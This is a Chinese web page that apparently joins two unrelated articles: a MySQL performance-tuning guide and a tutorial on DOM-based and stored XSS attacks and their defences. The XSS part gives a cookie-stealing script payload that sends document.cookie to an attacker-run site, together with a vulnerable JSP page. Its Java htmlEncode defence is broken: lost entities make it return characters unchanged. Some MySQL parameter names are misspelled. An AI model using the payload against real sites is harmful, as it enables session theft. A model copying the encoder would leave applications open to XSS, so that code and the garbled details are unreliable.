innodb_additional_mem_pool_size 参数用来设置 InnoDB 存储的数据目录信息和其它内部数据结构的内存池大小。随着数据库对象越来越多,需要适当调整该参数的大小以确保所有数据都能存放在内存中提高访问效率的。这个参数的大小是相对稳定的,没有必要预留非常大的值。如果InnoDB引擎用光了这个池内的内存,InnoDB引擎就开始从操作系统申请内存,并往MySQL错误日志写警告信息。默认值是1MB,当发现错误日志中已经有相关的警告信息时,就应该适当的增加该参数的大小。
innodb_log_buffer_size 参数是 InnoDB 存储引擎的事务日志所使用的缓冲区。类似于 Binlog Buffer,InnoDB 在写事务日志的时候,为了提高性能,也是先将信息写入 Innofb Log Buffer 中,当满足 innodb_flush_log_trx_commit 参数所设置的相应条件(或者日志缓冲区写满)之后,才会将日志写到文件(或者同步到磁盘)中。可以通过 innodb_log_buffer_size 参数设置其可以使用的最大内存空间。
innodb_flush_log_trx_commit 参数对 InnoDB引擎日志的写入性能有非常关键的影响。该参数可以设置为0,1,2,如下:
0:log buffer中的数据将以每秒一次的频率写入到log file中,且同时会进行文件系统到磁盘的同步操作,但是每个事务的commit并不会触发任何log buffer 到log file的刷新或者文件系统到磁盘的刷新操作;
1:在每次事务提交的时候将log buffer 中的数据都会写入到log file,同时也会触发文件系统到磁盘的同步;
2:事务提交会触发log buffer 到log file的刷新,但并不会触发磁盘文件系统到磁盘的同步。此外,每秒会有一次文件系统到磁盘同步操作。
此外,MySQL文档中还提到,这几种设置中的每秒同步一次的机制,可能并不会完全确保非常准确的每秒就一定会发生同步,还取决于进程调度的问题。实际上,InnoDB 能否真正满足此参数所设置值代表的意义正常 Recovery 还是受到了不同 OS 下文件系统以及磁盘本身的限制,可能有些时候在并没有真正完成磁盘同步的情况下也会告诉 mysqld 已经完成了磁盘同步。
innodb_max_dirty_pages_pct 参数用来控制在 InnoDB 缓冲池(Buffer Pool) 中可以不用写入数据文件中的脏页(Dirty Page) 的比例(已经被修但还没有从内存中写入到数据文件的脏数据)。这个比例值越大,从内存到磁盘的写入操作就会相对减少,所以能够一定程度下减少写入操作的磁盘IO。但是,如果这个比例值过大,当数据库崩溃(Crash)之后重启的时间可能就会很长,因为会有大量的事务数据需要从日志文件恢复出来写入数据文件中。同时,过大的比例值同时可能也会造成在达到比例设定上限后的 flush 操作“过猛”而导致性能波动很大。如果这个参数设置过大,将会导致MySQL启动时间过长,关闭时间也过长。
连接参数
MySQL数据库操作是建立在MySQL数据库连接的基础上,所以提高MySQLl处理连接的能力,也是提高MySQL的性能的一个重要体现。
连接数量
相关参数:max_connections / back_log
max_connections参数设置MySQL的最大连接数,也就是允许同时连接的客户数量。如果服务器的并发连接请求比较大,建议调高此值,以增加并行连接数量。但连接数越大,MySQL会为每个连接提供连接缓冲区,就会开销越多的内存,服务器消耗的内存越多,可能会影响服务器性能,所以要根据服务器的配置适当调整该值,不能盲目提高设值。默认数值是100。
计算MySQL繁忙时处理连接的情况,建议值50% ~ 80%
max_used_connections / max_connections * 100%
back_log参数设置MySQL能暂存的连接数量。当MySQL在一个很短时间内收到非常多的连接请求时起作用。如果MySQL的连接数达到max_connections时,新来的请求将会被存在堆栈中,以等待某一连接释放资源,该堆栈的数量即back_log,如果等待连接的数量超过back_log,将不被授予连接资源。试图设定back_log高于你的操作系统的限制将是无效的。默认数值是50。
连接超时
相关参数:wait_timeout / interactive_timeout
服务器关闭连接之前等待活动的秒数。MySQL所支持的最大连接数是有限的,因为每个连接的建立都会消耗内存,因此我们希望MySQL 处理完相应的操作后,应该断开连接并释放占用的内存。如果你的MySQL Server有大量的闲置连接,他们不仅会白白消耗内存,而且如果连接一直在累加而不断开,最终肯定会达到MySQL Server的连接上限数,这会报'too many connections'的错误。对于wait_timeout的值设定,应该根据系统的运行情况来判断。在系统运行一段时间后,可以通过show processlist命令查看当前系统的连接状态,如果发现有大量的sleep状态的连接进程,则说明该参数设置的过大,可以进行适当的调整小些。建议120 ~ 300
连接检查
相关参数:skip-name-resolve
skip-name-resolve参数用于禁止DNS的反向解析。MySQL默认开启了DNS的反向解析,当有新的连接到来时,MySQL会解析连接主机的DNS,这就影响了连接速度。使用该参数也有一个代价,就是每次连接都要使用ip地址,就不能再使用localhost,改成127.0.0.1
配置建议值
根据以往数据库处理经验取值,仅供参考,不一定适用于所有场景,建议在生产环境中进一步分析调整
MySQL配置 | 建议值说明 |
table_open_cache | 如果设置太大,会造成系统不稳定或者数据库连接失败,建议512 |
query_cache_type | 如果全部使用innodb引擎,建议为0,如果使用MyISAM引擎,建议为1,如果写入过于频繁,建议为2 |
query_cache_size | 根据实际命中率进行调整,不需要太大,建议256MB |
binlog_cache_size | 一般环境2MB~4MB是一个合适的选择,事务较大且写入频繁的数据库环境可以适当调大,但不要超过32MB |
key_buffer_size | 如果不使用MyISAM引擎,可以不调整。如果使用MyISAM,在内存允许的情况下,尽可能加大,参考值 512MB |
bulk_insert_buffer_size | 如果经常性的需要使用批量插入的特殊语句(上面有说明)来插入数据,可以适当调大至32MB |
innodb_buffer_pool_size | 如果不使用InnoDB引擎,可以不用调整;如果使用InnoDB,在内存允许的情况下,可以设置50% ~ 80%内存 |
innodb_log_buffer_size | 默认是1MB,数据库操作频繁的系统可适当增大至4MB ~ 16MB |
innodb_max_dirty_pages_pct | 这个值越大,数据库启动时间和关闭时间越长,可以适当调大至90 |
max_connections | 根据实际情况取值,设置过大反而影响性能。默认值是100,建议256 - 512 |
back_log | 默认数值是50,建议 128 - 256 |
wait_timeout | 同时修改interactive_timeout,默认28800(8小时),建议120 ~ 300
|
可能用到的MySQL命令:
# 查看当前MySQL运行状态值
mysql> show global status like 'Thread_%';
# 查看当前MySQL配置信息
mysql> show global variables like '%binlog%';
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击
XSS攻击类似于
SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。
场景一:
当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:
<%@ page language=" java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%> <!DOCTYPEhtmlPUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>XSS测试</title> </head> <body> 页面内容:<%=request.getParameter("content")%> </body> </html> |
我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?
Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者
数据库中,所以受害者是很多人。
场景二:
a.com可以发
文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
Stored XSS漏洞危害性更大,危害面更广。
XSS防御
我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。
完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。
Html encode
假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。
比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
其它
下面提供两种Html encode的方法。
使用Apache的commons-lang.jar
StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换
自己实现转换,只转换部分字符
private static String htmlEncode(char c) { switch(c) { case '&': return"&"; case '<': return"<"; case '>': return">"; case '"': return"""; case ' ': return" "; default: return c +""; } } /** 对传入的字符串str进行Html encode转换 */ public static String htmlEncode(String str) { if(str ==null || str.trim().equals("")) return str; StringBuilder encodeStrBuilder = new StringBuilder(); for (int i = 0, len = str.length(); i < len; i++) { encodeStrBuilder.append(htmlEncode(str.charAt(i))); } return encodeStrBuilder.toString(); } |